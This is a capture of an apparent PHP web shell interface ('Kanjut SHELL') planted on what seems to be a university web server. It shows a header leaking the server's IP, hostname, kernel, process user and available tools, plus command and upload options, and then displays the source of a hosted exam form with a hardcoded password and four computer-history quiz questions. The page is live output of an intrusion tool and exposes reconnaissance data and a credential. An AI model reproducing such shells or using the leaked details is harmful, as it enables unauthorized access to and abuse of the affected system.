Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.221.238.204
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/asbright/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/asbright/public_html/examFormUser.php
<?php session_start(); ?>
<!-- examFormUser.php -->
<?php
	$pass = $_POST['pass'];
	$_SESSION['psw'] = $pass;
	if($pass != "hw2c")
	{
?>
		<script type="text/javascript">
		<!--
			window.location = "examLogin.php"
		-->
		</script>
		<html>
		<head>
		<title>Error Page</title>
		<center>
		<p style="font-size:200%">Invalid Password</p>
		</center>
		</head>
		 <?php
                	 include("navbar.php");
                ?>

		<center>
		<br><br><br><br>
		<button><a href="examLogin.php">Go back</a></button>
		</center>
		</html>

<?php
	}
	else
	{
?>
<!doctype html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="styling.css">
<title>Exam Form</title>
<h1>
Exam
</h1>
</head>

<?php
	include("navbar.php");
?>

<body>

<div style="text-align:center">
 <form action=examUser.php method=post>
	<p>
Input your name: <input type=text name=name>
</p>
</div>
<fieldset>
<legend>
Question 1: When IBM chose the name System/360 (or S/360), it was selected to be all-encompassing. As such the System was designed to
handle all EXCEPT which of the following types of processing?
</legend>

<div>
<input class="radio" type=radio id="question1a" name=Q1 value=1A checked><label for="question1a">Graphics Processing</label>
<br/>
<input class="radio" type=radio id="question1b" name=Q1 value=1B><label for="question1b">Batch Processing</label>
<br/>
<input class="radio" type=radio id="question1c" name=Q1 value=1C><label for="question1c">Scientific Processing</label>
<br/>
<input class="radio" type=radio id="question1d" name=Q1 value=1D><label for="question1d">Communications Processing</label>
</div>
</fieldset>
<fieldset>

<legend>
Question 2: Which is the core component of the computer?
</legend>

<div>
<input class="radio" type=radio id="question2a" name=Q2 value=2A checked>
		<label>Calculator</label><br/>
<input class="radio" type=radio id="question2b" name=Q2 value=2B>
		<label>Processor</label><br/>
<input class="radio" type=radio id="question2c" name=Q2 value=2C>
		<label>Dynamo</label><br/>
<input class="radio" type=radio id="question2d" name=Q2 value=2D>
		<label>Light Bulb</label>
		</div>
	</fieldset>

<fieldset>
<legend>

Question 3: Which of the following is a non-impact printer?

	</legend>

	<div>
<input class="radio" type=radio id="question3a" name=Q3 value=3A checked>
		<label>Dot Matrix Printer</label><br/>
<input class="radio" type=radio id="question3b" name=Q3 value=3B>
		<label>Daisy-Wheel Printer</label><br/>
<input class="radio" type=radio id="question3c" name=Q3 value=3C>
		<label>Ink Jet Printer</label>	<br/>
<input class="radio" type=radio id="question3d" name=Q3 value=3D>
		<label>Line Printer</label>
		</div>
	</fieldset>

<fieldset>
<legend>

Question 4: Which is not associated with computers?
	</legend>

	<div>
	<input class="radio" type=radio id="question4a" name=Q4 value=4A checked>
		<label>Turing Machine</label><br/>
<input class="radio" type=radio id="question4b" name=Q4 value=4B>
		<label>Babbage Engine</label><br/>
<input class="radio" type=radio id="question4c" name=Q4 value=4C>
		<label>CPU Overdrive</label><br/>
<input class="radio" type=radio id="question4d" name=Q4 value=4D>
		<label>FPU Manifold</label>
	</div>
	</fieldset>

<br/><br/>>
<div style="text-align:center">
<input type=submit value="Submit Form">
<input type=reset value="Reset Form">
</form>
</div>
</body>
</html>

<?php
	}
?>

Stv3n404 - 2023